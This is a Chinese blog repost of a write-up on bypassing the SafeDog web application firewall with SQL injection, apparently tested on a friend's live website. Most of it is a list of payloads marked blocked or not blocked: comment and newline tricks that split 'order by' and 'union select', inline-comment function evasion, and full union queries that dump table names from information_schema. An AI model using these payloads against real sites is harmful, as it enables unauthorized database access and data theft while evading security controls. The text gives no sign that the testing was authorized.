一次实战sql注入绕狗

2020-04-10 约 143 字 预计阅读 1 分钟

声明:本文 【一次实战sql注入绕狗】 由作者 Waf 于 2020-04-10 09:55:48 首发 先知社区 曾经 浏览数 133 次

感谢 Waf 的辛苦付出!

实战安全狗bypass

之前有段时间一直在弄注入绕过,正好一个朋友手上有个安全狗的站

绕过 and 1=1

这种很显然直接被拦截,这里进行fuzz

and 1 like 1 拦截
and /!1=1/ 不拦截
and hex(1) 不拦截
%23%0a 1=1 拦截

绕过order by

发现单个order不拦截 单个by不拦截 只要order by 结合就被拦截

安全狗他拦截哪里我们就绕哪里
order%23%0aby 1 不拦截

order /!by / 1拦截

order --+%0a by 拦截

一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉

order --+all%0a by 1 不拦截 且语句有效

绕过union select

还是单个union不拦截 单个select不拦截 只要union select 结合就被拦截,还是跟order by绕过一样添加数据绕过安全狗的匹配
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
这里还有个绕过方法安全狗不会对/ /里面内容进行校验,可以从这里入手
/
&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截

这里就是通过一个注释符%23把后面 \
/ 形成一个完整的sql语句,也可以通过其他注释符进行注释.

ID=-17 "/" union select 1,2,3,4,5,6,7,8,9,10,11,12,13 "/" 不拦截 ,但是这个前提条件对方不开gpc或者使用addslashes()函数要不然单双引号被转义

绕过系统函数

database() -->database/**/()
database() -->database/*!()*/
user()  --> user/**/() 
user() -->user/*!()*/

等等,基本上这个/**/就可以绕过了系统函数

绕过查询数据库表

如果这里我们使用联合查询第二种在里面进行查询的话,就不需要绕过直接构造正常语句就可以进行查询
?/&ID=-17 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()%23/

如果这里我们不使用上面那种方法,来进行绕过.
这里 使用%23njjknjk%0a来绕过union select , from information_schema.tables,这里面%23这里可以随意添加数据%0a,如果转义了单双号进行hex编码绕过
?ID=-17 union %23njjknjk%0a select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from%23njjknjk%0ainformation_schema.tables%23njjknjk%0awhere%20table_schema=0x73685f6a7a%20--+

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now